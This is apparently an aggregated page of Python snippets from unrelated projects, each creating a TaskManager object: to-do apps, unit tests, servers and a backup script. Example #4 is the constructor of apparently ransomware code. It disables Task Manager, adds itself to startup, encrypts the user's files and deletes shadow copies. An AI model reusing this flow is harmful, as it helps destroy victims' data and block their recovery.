示例#1
0
    def __init__(self):
        """Create TreeTodoApplication"""

        Application.__init__(self)
        self.connect("activate", self.on_activate)

        self.taskManager = TaskManager()
示例#2
0
文件: Shell.py 项目: free-Zen/pvc
 def SetupTaskManager(self):      
    taskManager = TaskManager()
    taskManager.OnTaskBlocked = self.OnTaskBlocked
    taskManager.OnTaskWait = self.OnTaskWait
    taskManager.OnTaskProgressUpdate = self.OnTaskProgressUpdate
    taskManager.OnTaskDone = self.OnTaskDone
    self.taskManager = taskManager
示例#3
0
    def __init__(self, server_address: "tuple (ip,port)" = None):
        # Create a TCP/IP socket
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        if server_address is None:
            server_address = DEFAULT_SERVER_ADDRESS
        self.sock.bind(server_address)
        self.sock.listen(SERVER_LISTEN_CONNECTIONS)
        self.sock.settimeout(SERVER_SOCKET_TIMEOUT)
        self.response_timeout = DEFAULT_RESPONSE_TIMEOUT

        self.running = False
        self.task_manager = TaskManager()
        self.task_manager.run()
示例#4
0
    def __init__(self):
        '''
    @summary: Constructor
    '''
        self.__config = self.__load_config()
        self.encrypted_file_list = os.path.join(os.environ['APPDATA'],
                                                "encrypted_files.txt")

        # Init Crypt Lib
        self.Crypt = Crypt.SymmetricCrypto()

        # FIRST RUN
        # Encrypt!
        if not os.path.isfile(self.encrypted_file_list):
            # Disable Task Manager
            if self.__config["disable_task_manager"]:
                self.task_manager = TaskManager()
                try:
                    self.task_manager.disable()
                except WindowsError:
                    pass

            # Add to startup programs
            # TODO Test
            if self.__config["open_gui_on_login"]:
                self.__add_to_startup_programs()

            # Find files and initialise keys
            self.Crypt.init_keys()
            file_list = self.find_files()

            # Start encryption
            self.encrypt_files(file_list)

            # If no files were encrypted. cleanup and return
            if self.__no_files_were_encrypted():
                # TODO Test
                self.cleanup()
                return

            # Delete Shadow Copies
            if "delete_shadow_copies" in self.__config:
                self.__delete_shadow_files()

            # Open GUI
            self.start_gui()

        # ALREADY ENCRYPTED - Open GUI
        elif os.path.isfile(self.encrypted_file_list):
            self.start_gui()
    def __init__(self, address, configDesc):

        self.configDesc = configDesc

        self.address = address
        self.curPort = configDesc.startPort
        self.taskHeaders = {}
        self.taskManager = TaskManager(configDesc.clientUid)
        self.taskComputer = TaskComputer(configDesc.clientUid, self,
                                         self.configDesc.estimatedPerformance,
                                         self.configDesc.taskRequestInterval)
        self.taskSeesions = {}
        self.taskSeesionsIncoming = []

        self.lastMessages = []

        self.resultsToSend = {}

        self.__startAccepting()
示例#6
0
def main(args=None):
    """
   Entry point for both command-line and shell

   Note that the `args` parameter to this function allows us to do
   stuff from the Python interactive prompt:

   >>> Main.main(['-H', 'pivot02', 'getstate', 'mabramow-test1'])
   getstate(mabramow-test1) = off

   Inspiration from http://www.artima.com/weblogs/viewpost.jsp?thread=4829
   """

    try:
        options, args = optionsParser.parser.parse_args(args or sys.argv[1:])
        if options.serverOp: args.insert(0, options.serverOp)

        host = GetHost(options)

        if options.interactive:
            Shell(host).cmdloop()
        else:
            operationName, result = CommandProcessor.Process(host, args)
            if result is not None:
                result = TaskManager().HandleIfTask(result, async=False)

                if not options.quiet:
                    if isinstance(result, basestring) or \
                       isinstance(result, int) or isinstance(result, long):
                        sys.stdout.write(GetPrologue(operationName, args))

                if result == 'success': result = 1
                if result == 'error': result = 0

                print(optionsParser.GetFormatter(options).Format(result))
    except CommandProcessor.InvalidOperation:
        sys.stderr.write('Invalid operation specified.\n\n')
        optionsParser.parser.print_help()
        sys.stderr.write('\nInvalid operation specified.\n')
    except CommandProcessor.InvalidParameter, e:
        sys.stderr.write('Invalid parameter specified.\n\n')
        sys.stderr.write('%s\n' % e)
示例#7
0
    def main(self):
        """

        The main controller function. It coordinates all activities.

        """
        try:
            self.cli_api = CommandLineAPI()
            self.task_manager = TaskManager(self.cli_api)
            resp_code = 127
            task_and_inp = self.precmd()
            while True:
                if isinstance(task_and_inp[0], int) == False:
                    resp_code = self.execute_task(task_and_inp[0],
                                                  task_and_inp[1])
                self.postcmd(resp_code)
                task_and_inp = self.precmd(init=False)

        except KeyboardInterrupt:
            self.cli_api.exit()
示例#8
0
def test_saveOneTask():
    tm = TaskManager()
    tm.exec("+ Acheter du pain")
    assert tm.tasks[0].label == "Acheter du pain"
    assert tm.tasks[0].status == "TODO"
示例#9
0
def test_doneTask():
    tm = TaskManager()
    tm.exec("+ Acheter du pain")
    tm.exec("x 1")
    assert tm.tasks[0].status == "DONE"
示例#10
0
def parseInputActionToDo():
    tm = TaskManager()
    tm.exec("+ Acheter du pain")
    tm.exec("o 1")
    assert tm.action.type == "TODO"
示例#11
0
def parseEmptyInput():
    tm = TaskManager()
    tm.exec("")
    assert tm.action.type is None
示例#12
0
def parseInputActionRemove():
    tm = TaskManager()
    tm.exec("+ Acheter du pain")
    tm.exec("- 1")
    assert tm.action.type == "REMOVE"
示例#13
0
def parseInputActionDone():
    tm = TaskManager()
    tm.exec("+ Acheter du pain")
    tm.exec("x 1")
    assert tm.action.type == "DONE"
示例#14
0
 def setup(self):
     self.tm = TaskManager('sv')
示例#15
0
def parseInputActionAdd():
    tm = TaskManager()
    tm.exec("+ Acheter du pain")
    assert tm.action.type == "ADD"
 def __init__(self, complete_db_overhaul=False):
     self.dialog_tracer_obj = DialogTracer(True)
     self.task_manager_obj = TaskManager(complete_db_overhaul)
     self.dialog_tracer_obj.sys_msg("Dialog Manager setup complete..")
示例#17
0
文件: main.py 项目: MouadHdr/TpTest
from TaskManager import TaskManager
from os import system, name

def clear():
    # for windows
    if name == 'nt':
        _ = system('cls')
        # for mac and linux(here, os.name is 'posix')
    else:
        _ = system('clear')

tm = TaskManager()

while True:
    clear()
    print("Listes:")
    tm.displayTasks()
    tm.exec(input("commande: "))
示例#18
0
def test_toDoTask():
    tm = TaskManager()
    tm.exec("+ Acheter du pain")
    tm.exec("x 1")
    tm.exec("o 1")
    assert tm.tasks[0].status == "TODO"
示例#19
0
 def setUp(self):
     logging.basicConfig(filename='TaskManager.log', level=logging.DEBUG)
     logger = logging.getLogger(__name__)
     self.hostname = 'sv0'
     self.tm = TaskManager(self.hostname, logger, address='127.0.0.1', port=5440)
     self.job_name = 'tm_test'
示例#20
0
from TaskManager import TaskManager

# TaskManager 생성
taskManager = TaskManager()
menuNum = input(
    "########## To-Do List App ########## \n 메뉴를 선택해주세요. \n 1. 조회 \n 2. 등록 \n 3. 변경 \n 4. 삭제 \n > "
)

# Menu별 수행 내용
if menuNum is "1":
    print("김규범 님의 To-Do List")
    taskManager.viewTask()
elif menuNum is "2":
    taskName = input("Task의 이름을 입력 해 주세요: ")
    taskManager.createTask(taskName)
elif menuNum is "3":
    print("김규범 님의 To-Do List")
    index = input("변경할 Task의 번호를 입력 해 주세요: ")
    completed = input("이 일을 완료 표시 할까요? (y/n)")

    if completed is "y" or completed is "n":
        if completed is "y":
            result = taskManager.changeCompleted(index, True)
        elif completed is "n":
            result = taskManager.changeCompleted(index, False)

        if (result):
            print("변경 완료 되었습니다.")
        else:
            print("Task가 존재하지 않습니다.")
    else:
示例#21
0
    def on_json_loading_failed(self, e):
        return {
            "status": False,
            "message": "Failed to decode JSON object: {0}".format(e)
        }


app.request_class = custom_request

# TO BE DELETED
# def pass_through(*args, **kwargs):
#     """ pass through function for debug """
#     logging.debug("PASS THROUGH: Doing Nothing")
#     return {"status": True}

tm = TaskManager(validate_func=validate, execute_func=generate)


@app.route('/')
def root():
    return app.send_static_file('index.html')


@app.route('/input_set/upload', methods=['POST'])
def upload_input_set():
    content = request.get_json()
    if content is None:
        return jsonify({"status": False, "message": "There is no json."}), 400
    if content.get("status") is False:
        return jsonify(content), 400
    logging.debug("input_set/upload, json: " + json.dumps(content))
示例#22
0
from TaskManager import TaskManager
from AIServerController import GLOBAL_CONTROLLER
from AIServerSocket import AIServerSocketStore
from GPUManager import GPUServerManager
from CommandHandler import COMMAND_HANDLER_STORE

GLOBAL_CONTROLLER.gpu_manager = GPUServerManager.get_instance()
GLOBAL_CONTROLLER.gpu_manager.run()
GLOBAL_CONTROLLER.command_handler_store = COMMAND_HANDLER_STORE
GLOBAL_CONTROLLER.task_manager = TaskManager()
GLOBAL_CONTROLLER.task_manager.run()

GLOBAL_CONTROLLER.socket = AIServerSocketStore()
GLOBAL_CONTROLLER.socket.bind()
GLOBAL_CONTROLLER.socket.run()
示例#23
0
文件: main.py 项目: fhamm/tokyo
# Check if input is valid
if len(sys.argv) == 1:
    parser.print_help(sys.stderr)
    sys.exit(1)

# Check if file exists
if vars['file']: 
    tasks_file = os.path.expanduser(vars['file'])
else:
    tasks_file = os.path.expanduser('~/tokyo/tasks.json')

if not os.path.exists(tasks_file):
    exit('Invalid tasks file!')

task_manager = TaskManager(tasks_file)

# List tasks 
if vars['list']:
    task_manager.listTasks()
    exit()

# Print history
if vars['hist']:
    task_manager.printHistory()
    exit()

# Execute tasks
for task in vars['tasks']:
    task_manager.runTask (task)
示例#24
0
    except:
        #logger.exception("Error in initializing ENGINE.")

        # Use error instead of exception since any exception
        #  should have been printed in the engine
        #logger.error("Error in initializing ENGINE.")
        sleep(2)
        main_logger.stop()

        sys.exit("****Exiting****")

    # ========================
    # Setup Task Manager
    # ========================
    try:
        task_manager = TaskManager(options.settings, main_logger.log_queue)
    except:

        #logger.error("Error in initializing tastk manager.")
        main_logger.stop()

        sys.exit("****Exiting****")

    # ========================
    # Main Loop
    # ========================

    # Create and launch the command line interpreter
    cli = CLI(engine, task_manager, main_logger, logger)
    engine.SetParent(cli)  #comment out if cli not parent
                        choices=["2a", "2b", "3a", "3b", "4d", "5"],
                        default="2a")
    parser.add_argument(
        "-f",
        "--file",
        help="A file path to a json file containing data from issuu.com",
        type=str,
        required=True)
    parser.add_argument("-g",
                        "--gui",
                        help="set this flag to display a gui.",
                        action="store_true")
    parser.add_argument(
        "-v",
        "--verbose",
        help="set this flag to display detailed is likes data in the console.",
        action="store_true")
    args = parser.parse_args()

    data_displayer = DisplayData(
    )  # create an instance of the DisplayData class

    if not args.gui:  # If the gui interface is not used
        task_manager = TaskManager()
        task_manager.run_task(args.task, args.docID, args.userID, args.file,
                              data_displayer)  # run the specified task
    else:  # show the GUI
        gui = GUIManager(args.docID, args.userID, args.file, data_displayer)
        data_displayer.gui_manager = gui  # save the reference to this gui object (needed to print messages)
        gui.display_gui()  # show the gui
示例#26
0
def main():
	# Проверяем наличие необходимых директорий
	check_dir(cfg.mbackup_root_path)
	tm = TaskManager()
	subpath_sync(tm.tasks)